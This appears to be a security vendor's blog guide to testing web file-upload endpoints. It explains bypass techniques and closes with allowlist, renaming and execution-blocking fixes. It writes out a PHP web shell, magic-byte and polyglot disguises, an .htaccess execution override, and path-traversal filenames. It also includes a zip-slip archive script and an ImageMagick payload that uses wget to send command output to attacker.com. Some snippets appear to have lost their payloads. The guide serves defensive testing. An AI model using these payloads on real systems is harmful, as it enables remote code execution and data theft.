File Upload Security Testing: Finding and Fixing Common Vulnerabilities

File upload functionality is one of the most attack-rich surfaces in web applications. An endpoint that accepts files has to get a lot of things right simultaneously: validate the file type, restrict the filename, store the file safely, control who can access it later, and process it without triggering vulnerabilities in downstream parsers. Failing at any one of these creates an exploitable condition — and most applications fail at several.

This guide covers the full attack surface: client-side bypass, MIME type manipulation, extension filtering evasion, polyglot files, path traversal via filenames, web shell upload, file processing vulnerabilities, and post-upload access control issues. For each technique, you'll find test cases, typical scanner blind spots, and what a proper fix looks like.

The File Upload Attack Surface

Before testing specific bypass techniques, map what the endpoint actually does with uploaded files:

Client-Side Bypass

The most trivial bypass: many applications implement file type validation only in JavaScript on the client side. Remove or modify the validation in your browser's DevTools and submit the form — the server accepts anything.

Testing steps:

  1. Open DevTools → Elements, find the <input type="file" accept=".jpg,.png"> element.
  2. Remove or modify the accept attribute.
  3. Select a PHP file in the browser's file dialog.
  4. If the file uploads successfully: pure client-side validation, no server-side check.

Alternatively, intercept the upload request in Burp Suite and change the filename and content-type header on the already-selected file.

MIME Type and Content-Type Bypass

Servers that validate file type by checking the Content-Type header from the HTTP request are trivially bypassed — the client controls this header:

# Original request
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----boundary

------boundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php         ← server rejects this

<?php system($_GET['cmd']); ?>

# Modified request — change Content-Type to image/jpeg
------boundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg                 ← server accepts this

<?php system($_GET['cmd']); ?>

If the server only validates the MIME type and not the actual file content or extension, this bypass works. Test by uploading a PHP web shell with Content-Type: image/jpeg.

Magic Bytes and File Signature Bypass

More robust implementations validate the file's magic bytes (the initial bytes that identify the file type) rather than the MIME header. Prepend the expected magic bytes to your payload to pass this check:

# PNG magic bytes: 89 50 4E 47 0D 0A 1A 0A
# PHP shell with PNG header prepended
printf '\x89\x50\x4e\x47\x0d\x0a\x1a\x0a' > shell.php.png
echo '' >> shell.php.png

# JPEG magic bytes: FF D8 FF E0
printf '\xff\xd8\xff\xe0' > shell.jpg
echo '' >> shell.jpg

# GIF magic bytes: GIF89a
echo 'GIF89a' > shell.gif

If the server validates magic bytes but trusts the file extension for execution (or if you can control the extension separately), this enables web shell upload disguised as an image.

Extension Filtering Bypass

Applications often maintain a blocklist of dangerous extensions (.php, .asp, .jsp) rather than an allowlist of safe ones. Blocklists are incomplete:

PlatformBypass Extensions
PHP.php3, .php4, .php5, .php7, .phtml, .pht, .phar, .inc
ASP/ASPX.asp;, .aspx., .cer, .asa, .ashx, .asmx, .axd
JSP.jspx, .jsw, .jsv, .jspf
Any (case sensitivity).PHP, .Php, .PHp on case-insensitive filesystems
Any (null byte)shell.php%00.jpg (older PHP/CGI)
Any (double extension)shell.jpg.php (if last extension determines handler)

Overriding Execution with .htaccess

On Apache servers where AllowOverride is enabled, upload a .htaccess file to the same directory to make the server execute .jpg files as PHP:

# Upload as .htaccess
AddType application/x-httpd-php .jpg

# Then upload shell.jpg and access it — executed as PHP

This is one of the highest-impact bypasses when it works, because it turns the entire upload directory into a PHP execution context.

Path Traversal via Filename

When the server preserves the uploaded filename in the storage path, you can potentially write files outside the intended upload directory:

# Encoded traversal in filename
filename="../../../var/www/html/shell.php"
filename="..%2F..%2F..%2Fvar%2Fwww%2Fhtml%2Fshell.php"
filename="....//....//....//var//www//html//shell.php"

# Overwrite existing files
filename="../../html/index.php"    # overwrite the application's index

# Windows path separators
filename="..\\..\\..\\\Windows\\System32\\Drivers\\etc\\hosts"

Test by intercepting the upload request and modifying the filename in the Content-Disposition header. Observe whether the server reflects the stored file path, and whether requests for ../../../etc/passwd resolve to the expected location.

Polyglot Files

A polyglot file is a file that is simultaneously valid in two different file formats. The classic example is a valid JPEG image that also contains valid PHP code:

# Method 1: embed PHP in EXIF data
exiftool -Comment='' legitimate_image.jpg
# Result: passes image validation, server stores it as .jpg
# If served with PHP handler, executes the EXIF comment

# Method 2: append to IEND chunk (PNG)
cat legitimate.png >> php_code.txt
# PNG parsers ignore data after IEND; PHP executes the appended code

# Method 3: ImageMagick-targeted polyglot (ImageTragick)
# Image containing MVG commands in the filename or content
# Triggers command execution in vulnerable ImageMagick versions

Polyglots are particularly effective when the application validates the image using a library like PIL/Pillow (which reads the image data) but stores and serves the raw bytes from the original upload (which includes the injected code).

Archive Extraction Vulnerabilities

Applications that extract user-uploaded ZIP, TAR, or JAR archives are vulnerable to:

Zip Slip (Path Traversal in Archives)

# Create a malicious zip with path traversal entries
python3 -c "
import zipfile, io
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as z:
    z.writestr('../../../var/www/html/shell.php', '')
with open('malicious.zip', 'wb') as f:
    f.write(buf.getvalue())
"

# Tool: evilarc (https://github.com/ptoomey3/evilarc)
python evilarc.py -d 5 -p var/www/html -o unix shell.php

When the server extracts this archive without normalizing paths, shell.php lands outside the intended extraction directory — potentially in the web root.

Zip Bomb

A specially crafted archive that decompresses to a massive size (petabytes of zeros from a tiny archive). Upload it to test whether the application limits extraction size or is vulnerable to resource exhaustion.

Image Processing Vulnerabilities

ImageMagick is the canonical example of dangerous image processing. The ImageTragick vulnerability (CVE-2016-3714) allowed command execution through specially crafted image files:

# ImageMagick MVG/MSL injection
# Upload this as shell.jpg (or manipulate via Content-Type)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/|id; wget http://attacker.com/?$(id))'
pop graphic-context

Even patched ImageMagick versions have historically had SSRF and file read vulnerabilities. Test image upload endpoints by submitting SVG files (which ImageMagick processes and which can contain <!ENTITY> declarations for XXE), and EPS/PS files with PostScript injection.

Post-Upload Access Control

Even if file type validation is solid, the stored file may be accessible to unauthorized users:

# Test IDOR on file retrieval
# 1. Upload a file, note the returned file ID or path
# 2. Log out or switch to a different account
# 3. Request the file path directly — should return 403

# Test direct S3 access
# 1. Upload a file, capture the application's presigned or direct S3 URL
# 2. Remove the authentication parameters from the URL
# 3. If the file is accessible: bucket is misconfigured with public-read

Testing Checklist

TestWhat It Finds
Upload .php with Content-Type: image/jpegMIME type only validation
Upload .php with JPEG magic bytes prependedMagic byte only validation
Upload .phtml, .php5, .pharIncomplete extension blocklist
Upload .PHP (uppercase)Case-sensitive extension check on insensitive FS
Upload with filename ../../shell.phpPath traversal in filename handling
Upload .htaccess with AddTypeServer config override via upload
Upload ZIP with path traversal entriesZip Slip
Upload SVG with XXE payloadSVG processing XXE
Upload EXIF-injected JPEGEXIF metadata injection
Access another user's uploaded fileIDOR on file retrieval
Access file without auth tokenMissing auth on retrieval

Remediation

Allowlist Extensions and MIME Types

Use an allowlist, not a blocklist. Define exactly what file types are accepted and reject everything else:

# Python — validate both extension and magic bytes
import magic  # python-magic
ALLOWED_EXTENSIONS = {'.jpg', '.jpeg', '.png', '.gif', '.pdf'}
ALLOWED_MIMES = {'image/jpeg', 'image/png', 'image/gif', 'application/pdf'}

def validate_upload(file):
    ext = os.path.splitext(file.filename)[1].lower()
    if ext not in ALLOWED_EXTENSIONS:
        raise ValueError("Extension not allowed")

    file_bytes = file.read(2048)
    file.seek(0)
    detected_mime = magic.from_buffer(file_bytes, mime=True)
    if detected_mime not in ALLOWED_MIMES:
        raise ValueError("File content doesn't match allowed types")

Generate New Filenames Server-Side

Never use the client-supplied filename in the storage path. Generate a UUID or random name server-side and track the original filename in your database:

import uuid, os

def store_file(upload):
    ext = os.path.splitext(upload.filename)[1].lower()  # from allowlist
    safe_filename = f"{uuid.uuid4()}{ext}"
    storage_path = os.path.join(UPLOAD_DIR, safe_filename)
    upload.save(storage_path)
    # Store original name in DB for display purposes only
    return safe_filename

Store Outside the Web Root

Upload directories should not be directly accessible via HTTP. Serve files through an application endpoint that enforces authentication and authorization before streaming the file content.

Disable Execution in Upload Directories

# Nginx — disable PHP execution in uploads dir
location /uploads/ {
    location ~ \.php$ { deny all; }
}

# Apache
<Directory /var/www/html/uploads>
    php_flag engine off
    AddType text/plain .php .phtml .php5
</Directory>

File upload vulnerabilities range from trivial client-side bypasses to complex polyglot exploits. Ironimo tests upload endpoints across the full attack surface — extension bypass, path traversal, archive extraction, and access control — not just MIME type validation.

Start free scan
← Back to Blog